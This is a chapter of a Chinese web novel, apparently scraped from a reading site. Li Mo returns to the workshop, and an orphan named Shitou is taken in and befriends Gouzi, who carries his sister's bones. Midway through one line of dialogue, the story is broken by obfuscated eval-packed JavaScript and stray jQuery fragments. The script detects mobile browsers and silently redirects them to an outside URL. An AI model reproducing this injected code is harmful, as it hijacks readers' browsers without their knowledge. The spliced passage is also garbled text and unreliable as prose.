默认冷灰
24号文字
方正启体

32. 新来的

作者:申澈的澈本书字数:K更新时间:
    李默回到将作监的时候,是第四天早上。


    阳光从东边照过来,照在院墙上,照在那台蒸汽机上,照在那些人身上。他站在门口,看着那些人,忽然觉得自己好像走了很久。


    阿钝第一个看见他。


    他正在院子里教那些孩子看机器,蹲在最前面,指着那些零件一个一个地讲。讲到一半,他一抬头,看见了门口的人。


    他愣了一下。


    然后他站起来,愣愣地看着,像是不敢相信自己的眼睛。


    “师父……?”


    李默没说话。他只是站在那儿,看着他。


    阿钝的眼眶红了。他跑过来,跑得很快,快得差点摔倒。他扑过来,一把抱住李默的腰,放声大哭。


    “师父!师父你去哪儿了!我还以为你不要我们了!”


    他的头埋在李默的衣服里,哭得上气不接下气。那些孩子站在远处,看着他们,不知道发生了什么。


    李默伸出手,在他头上按了一下。


    “没去那儿。”他说,“就是出去走走。”


    阿钝抬起头,看着他,眼泪糊了一脸。


    “骗人!你走了四天!走走走四天?”


    他的眼睛红红的,肿肿的,嗓子都哭哑了。那四天,他不知道哭了多少回。


    李默没回答。


    他只是看着院子里那些人。


    阿箬站在那台蒸汽机旁边,看着他。她不说话,只是看着。那双眼睛里,冷的那一层下面,有东西在动。那东西很轻,很细,像水面下的暗流。


    狗子蹲在墙角,抱着那个包袱,也看着他。看见他看过来,他低下头,把脸埋进包袱里。但过一会儿,他又抬起头,偷偷看一眼。


    周老倔站在棚子门口,手里拿着铁锤,看见他,笑了一下。那笑容里,有一种“回来就好”的意思。他的那只废了的手垂在身侧,微微发抖。


    陈小锤用左手朝他挥了挥。他的左手拿着那个小本子,本子上画满了齿轮。


    孙二从屋里探出头,看见他,点了点头。然后他又缩回去,继续算账。


    都还在。


    一个都没少。


    李默站在那里,看着这些人,看了很久。


    他想起那个空村子,想起那个没有碑的土堆,想起那些空荡荡的房子。


    那些人没了。


    这些人还在。


    “我回来了。”他说。


    回来的第三天,将作监来了一个新的人。


    不是江南商会的。不是裴氏的。是郭荣送来的。


    一个孩子。


    十二三岁,男孩,瘦得像根竹竿,眼睛大得吓人。他穿着一件破破烂烂的衣服,那衣服原本可能是灰色的,但现在灰不灰黑不黑,补丁摞补丁,已经看不出原来的颜色了。他的脸很脏,头发乱成一团,但那双眼睛——


    那双眼睛很干净。


    不是空的干净,是干净的干净。


    他站在院子里,看着那台蒸汽机,一动不动。他的头微微仰着,眼睛盯着那些转动的轮子,盯着那些上下运动的连杆,盯着那些冒出来的蒸汽。


    他就那么看着,像看一个奇迹。


    郭荣站在旁边。


    “他叫石头。”他说,“黄河边上捡的。爹死了,娘死了,一个人活了半年。”


    李默看着那个孩子。


    半年。


    一个十二三岁的孩子,在黄河边上,一个人活了半年。


    怎么活的?吃什么?住哪儿?遇到坏人了怎么办?生病了怎么办?


    他不知道。


    但他知道,那双眼睛能这么干净,一定很难。


    “他会干什么?”李默问。


    郭荣想了想。


    “会活。”他说。


    石头被安排在狗子旁边住。


    狗子抱着那个包袱,看着他。石头也看着狗子。


    两个人对视了很久。


    狗子的眼睛是空的。空得很深,很深。但空底下有东西。那东西很小,很弱,但它亮着。


    石头的眼睛不空。他只是看着,看着狗子,看着那个包袱,看着狗子抱包袱的样子。


    “你抱的是什么?”他问。


    狗子低下头,看着那个包袱。


    “我妹妹。”他说。


    石头愣了一下。


    “你妹妹在包袱里?”


    狗子点了点头。


    石头沉默了一会儿。


    然后他说:


    “我妹妹死了。我没抱。”


    狗子看着他。


    “你把她埋了?”


    石头摇了摇头。


    “没埋。没力气。就放在那儿了。”


    他的声音很平,平得像在说别人的事。但他说到“没力气”的时候,眼睛里的光暗了一下。


    狗子没说话。


    他站起来,走到石头面前,把包袱打开。


    那些小小的骨头露出来,在阳光下闪着光。它们被擦得很亮,很干净,一根一根排列着,整整齐齐。


    “你要不要擦?”他问。


    石头看着那些骨头,看了很久。


    他伸出手,想摸一下,又缩回来。他看了狗子一眼。


    狗子点了点头。


    他伸出手,接过一块骨头。


    很小,很轻,像一根树枝。


    他拿着它,看着它。


    “怎么擦?”他问。


    狗子拿起那块布。


    “这样。”他说,“慢慢地擦。”


    石头接过那块布,开始擦。


    一下,一下,一下。


    很慢,很轻。


    阳光照在他们身上,照在那堆小小的骨头上,照在他们专注的脸上。


    阿钝站在远处,看着他们。


    他忽然想起自己刚来的时候。


    那时候他也是这样,什么都不懂,什么都不会,只会怕。


    是狗子教会他擦骨头。


    现在狗子教会石头。


    他走到那台蒸汽机旁边,蹲下来,看着它。


    阿箬走过来,在他旁边蹲下。


    “想什么呢?”


    阿钝想了想。


    “在想,”他说,“以后还会有多少人来。”


    阿箬没说话。


    阿钝转过头,看着她。


    “阿箬姐,咱们这地方,到底是个什么地方?”


    阿箬沉默了一会儿。


    然后她说:


    “是个能活的地方。”


    那天晚上,李默坐在院子里,看着那台机器。


    阿箬走过来,在他旁边坐下。


    “石头住下了。”她说。


    李默点了点头。


    阿箬看着他。


    “郭荣送来的人,你留了。”


    李默没说话。


    阿箬继续说:


    “狗子教他擦骨头。阿钝教他看机


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401620|200419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    器。周老倔说,明天让他也来听打铁。”


    李默转过头,看着她。


    “你教他什么?”


    阿箬想了想。


    “教他别怕。”她说。


    李默愣了一下。


    阿箬看着那些屋子。


    “他刚来,肯定怕。和狗子刚来的时候一样。和石头刚来的时候一样。和我刚来的时候一样。”


    她顿了顿。


    “等他不怕了,再教别的。”


    李默没说话。


    他看着阿箬的侧脸。月光照在她脸上,照出那道疤,照出那双眼睛里越来越亮的光。


    “阿箬。”他说。


    “嗯。”


    “你什么时候学会这些的?”


    阿箬想了想。


    “你教的。”她说。


    李默愣住了。


    阿箬站起来。


    “你教我怎么活。”她说,“我教他们。”


    她走了。


    李默坐在那儿,看着她的背影,看了很久。


    远处传来打更的声音。


    “咚——咚——咚——”


    三更了。


    风吹过来,带着春天的暖意。


    很暖。


    他想起石头那双眼睛。


    干净的,亮亮的,看着那台机器,像看一个奇迹。


    他刚来的时候,也这么看过吗?


    他不记得了。


    但他记得,那时候他也想活。


    和石头一样。


    和阿钝一样。


    和狗子一样。


    和他们所有人一样。


    他站起来,走回屋里。


    路过石头住的那间屋子时,他听见里面有声音。


    很轻,很细,像是有人在说话。


    他停下来,侧耳听。


    “妹妹,我今天到一个新地方了。有吃的,有住的,有人教我本事。等我学会了,以后就不用饿肚子了。你也不用饿肚子了。”


    声音停了。


    过了一会儿,又响起来。


    “这里有一个哥哥,抱着他妹妹的骨头。他妹妹也在。和我妹妹一样。”


    又停了。


    “他们都在。我妹妹也在。”


    李默站在门口,听着那些话。


    他没进去。


    只是站在那儿,听着。


    风吹过来,很暖。


    他站了很久。


    然后他轻轻走开。


    第二天早上,石头从屋里出来,看见李默站在院子里。


    他走过去,站在李默面前。


    “李叔。”他说。


    李默看着他。


    “嗯?”


    石头想了想。


    “那个机器,”他指着那台蒸汽机,“它叫什么?”


    李默说:“蒸汽机。”


    石头点了点头。


    他走到那台机器旁边,蹲下来,看着它。


    阿钝走过来,在他旁边蹲下。


    “想学吗?”他问。


    石头看着他。


    “能学会吗?”


    阿钝点了点头。


    “能。”他说,“慢慢学。”


    石头没说话。


    但他笑了。


    那是李默第一次看见他笑。


    很轻,很淡,像一阵风就会吹散。


    但风吹过来的时候,它没散。


    它还在。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)